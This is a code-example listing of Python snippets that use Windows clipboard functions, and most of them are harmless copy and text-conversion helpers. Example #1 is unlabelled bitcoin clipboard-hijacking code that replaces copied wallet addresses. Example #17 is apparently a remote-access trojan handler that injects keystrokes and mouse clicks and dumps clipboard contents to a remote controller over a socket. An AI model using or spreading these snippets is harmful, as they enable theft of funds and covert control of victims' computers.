示例#1
0
def checkClipBoard():
	OpenClipboard()
	data = GetClipboardData()
	if len(data) == 34 and data[0] == "1": #detect if the user is copying a bitcoin address.
		EmptyClipboard()
		SetClipboardText("Your bitcoin address.")
	CloseClipboard()
示例#2
0
def clipboard_set_text(text, to_open=True, to_close=True):
    """
    Set text to clipboard.

    :param text: the text to set.

    :param to_open: open clipboard before doing.

    :param to_close: close clipboard after done.

    :return: None.
    """
    # If need open clipboard
    if to_open:
        # Open clipboard
        OpenClipboard()

    #
    try:
        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # If need close clipboard
        if to_close:
            # Close clipboard
            CloseClipboard()
示例#3
0
def set_clipboard_data(data):
    from win32clipboard import OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard
    from win32con import CF_TEXT
    OpenClipboard()
    EmptyClipboard()
    SetClipboardData(CF_TEXT, data)
    CloseClipboard()
示例#4
0
def copy_to_clipboard(text: str):
    try:
        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(text, CF_UNICODETEXT)
        CloseClipboard()
    except:
        log_record('не удалось поместить данные в clipboad')
 def set(self, text: str) -> None:
     try:
         OpenClipboard()
         EmptyClipboard()
         SetClipboardText(text)
         CloseClipboard()
     except Exception as ex:
         if len(ex.args) == 0 or ex.args[0] not in ALLOWED_ERRORS:
             logging.error(f'Failed to set clipboard text: {ex}')
示例#6
0
def clipboard(msg=None):
    x = ""
    OpenClipboard()
    if msg:
        EmptyClipboard()
        SetClipboardText(msg)
    else:
        x = GetClipboardData()
    CloseClipboard()
    return x
示例#7
0
def copy(prompt: str, text: str) -> None:
    try:
        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(text)
        CloseClipboard()
    except:
        error(prompt=f"Error Copying {prompt.strip()} to Clipboard")
    else:
        showShortInfo(prompt=f"Copied {prompt.strip()} to Clipboard")
示例#8
0
文件: win32.py 项目: MShaffar19/ctk
def cb(text=None, fmt=CF_UNICODETEXT, cls=unicode):
    OpenClipboard()
    if not text:
        text = GetClipboardData(fmt)
        CloseClipboard()
        return text
    EmptyClipboard()
    SetClipboardData(fmt, cls(text) if cls else text)
    CloseClipboard()
    sys.stdout.write("copied %d bytes into clipboard...\n" % len(text))
示例#9
0
    def copy(self):
        selected_widget = self.widget.focus_get()
        selection_text = ""
        if selected_widget.selection_present():
            selection_text = selected_widget.selection_get()

        OpenClipboard()
        EmptyClipboard()
        SetClipboardText(selection_text)
        CloseClipboard()
示例#10
0
 def cb(text=None, fmt=CF_UNICODETEXT, cls=unicode_class):
     OpenClipboard()
     if not text:
         text = GetClipboardData(fmt)
         CloseClipboard()
         return text
     EmptyClipboard()
     data = cls(text) if cls and not isinstance(text, cls) else text
     SetClipboardData(fmt, data)
     CloseClipboard()
     return data
示例#11
0
def OnKeyboardEvent(event):
    global TemplateStr
    global ChangeFlag
    global path
    global BeforeStamp
    global Name
    global Description
    global EipNumber

    if event.Key == "F2":
        # Check if the Template File has been modified
        CurrentStamp = os.path.getmtime(path)
        if ChangeFlag is True or CurrentStamp != BeforeStamp:
            InitTemplateStrFromFile()
            ChangeFlag = False

        # Check if the Template File is valid
        if TemplateStr == "":
            ShowMessageBox("Please Check the Setting: Name Description [EIPNo.]", "Invalid Setting")
            return True

        # Check current cursor on what file
        window = GetForegroundWindow()
        title = GetWindowText(window)

        # Copy the Template Str to cursor position
        OpenClipboard()
        EmptyClipboard()

        if ".sdl" in title:
            SetClipboardText("#" + TemplateStr + ">>\n\n" + "#" + TemplateStr + "<<\n")
        elif "Commit - TortoiseGit" in title:
        
            if EipNumber != "":
                CommitStr = "**  [M00x]\n     Issue        : [EIP"+EipNumber+"] "+Description
            else:
                CommitStr = "**  [M00x]\n     Issue        : "+Description

            CommitStr += "\n     Cust.Ref.No. :"
            CommitStr += "\n     Label        : " + TemplateStr
            CommitStr += "\n     File         : "
            SetClipboardText(CommitStr)
            
        else:
            SetClipboardText("//" + TemplateStr + ">>\n\n" + "//" + TemplateStr + "<<\n")

        CloseClipboard()
        keybd_event(17, 0, 0, 0)  # key Ctrl
        keybd_event(86, 0, 0, 0)  # key v
        keybd_event(17, 0, KET_RELEASE, 0)  # release Key Ctrl
        keybd_event(86, 0, KET_RELEASE, 0)  # release Key v

    return True
示例#12
0
def clipboard_to_camelcase():
    """
    Hotkey function that converts text in clipboard to camelCase.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Replace non-letter character to space
        text = re.sub(r'[^A-Z0-9a-z]', ' ', text)

        # Split text to words by white-space,
        # capitalize each word,
        # join the capitalized words into text.
        text = ''.join(word.capitalize() for word in text.split())

        # If the text is not empty
        if text:
            # Convert the text to camelCase
            text = text[0].lower() + text[1:]

        # Empty clipboard
        EmptyClipboard()

        # Set the text to clipboard
        SetClipboardText(text, CF_TEXT)

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
示例#13
0
def clipboard_preserve_context():
    """
    Preserve clipboard value on entering the context, and restore on exiting.

    :return: None.
    """
    try:
        # Get current value in clipboard
        text_old = clipboard_get_text()
        # ^ raise error
    except Exception:
        # Use None as current value in case of error
        text_old = None

    # End of entering-context code
    yield text_old

    # Start of exiting-context code

    # If clipboard had text
    if text_old is not None:
        # Set clipboard to old text
        try:
            # Open clipboard
            clipboard_open()

            # Empty clipboard
            EmptyClipboard()

            # Set old text to clipboard
            SetClipboardText(text_old, CF_TEXT)

            # Set old text to clipboard as Unicode
            SetClipboardText(text_old, CF_UNICODETEXT)
        except Exception:
            # Ignore any error
            pass
        finally:
            # Close clipboard
            CloseClipboard()
示例#14
0
def clipboard_to_uppercase():
    """
    Hotkey function that converts text in clipboard to UPPERCASE.

    :return: None.
    """
    # Open clipboard
    clipboard_open()

    try:
        # Get text from clipboard
        text = GetClipboardData(CF_TEXT)

        # If the text is empty
        if not text:
            # Ignore
            return

        # Convert to upper case
        text = text.upper()

        # Empty clipboard
        EmptyClipboard()

        # Set text to clipboard
        SetClipboardText(text, CF_TEXT)

        # If is not Python 2
        if not _IS_PY2:
            # Convert the text to Unicode
            text = text.decode('gbk')

        # Set text to clipboard as Unicode
        SetClipboardText(text, CF_UNICODETEXT)
    finally:
        # Close clipboard
        CloseClipboard()
示例#15
0
def screen_shot(option):
    i = 1
    while True:
        print('-' * 20, '{}'.format(i), '-' * 20, end='\n')
        if wait(hotkey='shift+win+s') == None:
            if wait(hotkey='ctrl') == None:
                sleep(0.01)
                try:
                    img = grabclipboard()
                    img.save('picture.png')
                except:
                    print('请重新截图')
                    screen_shot()
                i += 1
                alltexts = baidu_ocr.get_text(option)
                sleep(0.2)
                # w.OpenClipboard()

                # d=w.GetClipboardData(win32con.CF_UNICODETEXT)
                # w.CloseClipboard()'''
                OpenClipboard()
                EmptyClipboard()
                SetClipboardData(win32con.CF_UNICODETEXT, alltexts)
                CloseClipboard()
示例#16
0
 def paste(text, fmt=CF_UNICODETEXT, cls=unicode_class):
     EmptyClipboard()
     data = cls(text) if cls and not isinstance(text, cls) else text
     SetClipboardData(fmt, data)
     CloseClipboard()
     return data
示例#17
0
def inject_input(injection_type, arg):
    try:
        if injection_type == 'ty':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.typewrite(arg)
            s.sendall('[+]Injected typewritten character/s' + End)
        elif injection_type == 'pr':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            pyautogui.press(arg)
            s.sendall('[+]Injected pressed key' + End)
        elif injection_type == 'sh':
            if not arg:
                s.sendall('[-]Supply a key as an arg'+End)
                return
            if ' ' in arg:
                arg = arg.split(' ')
                for key in arg:
                    pyautogui.keyDown(key)
                for key in reversed(arg):
                    pyautogui.keyUp(key)
                s.sendall('[+]Injected keyboard shortcut' + End)
            else:
                pyautogui.hotkey(arg)
                s.sendall('[+]Injected keyboard shortcut' + End)
        elif injection_type == 'valids':
            tar_list = '|/'.join(valid_keys)
            s.sendall(tar_list + End)
        elif injection_type == 'clip_clear':
            OpenClipboard()
            EmptyClipboard()
            s.sendall('[+]Cleared clipboard content' + End)
            CloseClipboard()
        elif injection_type == 'clip_dump':
            OpenClipboard()
            try:
                injection_type = GetClipboardData()
            except TypeError:
                s.sendall('[+]Clipboard content is empty' + End)
                return
            CloseClipboard()
            s.sendall('[+]Dumped content : ' + injection_type + End)
        elif injection_type == 'clip_set':
            if not arg:
                s.sendall('[-]Input a string' + End)
                return
            OpenClipboard()
            EmptyClipboard()
            SetClipboardText(arg)
            CloseClipboard()
            s.sendall('[+]Injected cliboard data' + End)
        elif injection_type == 'click_left':
            pyautogui.click(button='left')
            s.sendall('[+]Injected left mouse click' + End)
        elif injection_type == 'click_right':
            pyautogui.click(button='right')
            s.sendall('[+]Injected right mouse click' + End)
        elif injection_type == 'move_to':
            if not arg:
                s.sendall('[-]Supply a coord as an arg'+End)
                return
            try:
                arg = arg.split(' ')
                cord_one = int(arg[0])
                cord_two = int(arg[1])
                pyautogui.moveTo(x=cord_one, y=cord_two)
                s.sendall('[+]Injected mouse movement' + End)
            except:
                s.sendall('[-]Input X and Y coordinates as integers' + End)
                return
        elif injection_type == 'dimensions':
            dimensions = pyautogui.size()
            dimensions = '[+]Dimensions of screen : ' + str(dimensions[0]) + ' x ' + str(dimensions[1])
            s.sendall(dimensions + End)
        elif injection_type == 'position':
            current = pyautogui.position()
            current = '[+]Current mouse position : ' + str(current[0]) + ' x ' + str(current[1])
            s.sendall(current + End)
        else:
            s.sendall('[-]Unknown command "' + injection_type + '", run "help" for help menu' + End)
    except Exception as e:
        s.sendall('[-]Error injecting keystrokes : ' + str(e))
示例#18
0
 def copy_to_clipboard(self):
     OpenClipboard()
     EmptyClipboard()
     SetClipboardText(self.output_label.text(), CF_UNICODETEXT)
     CloseClipboard()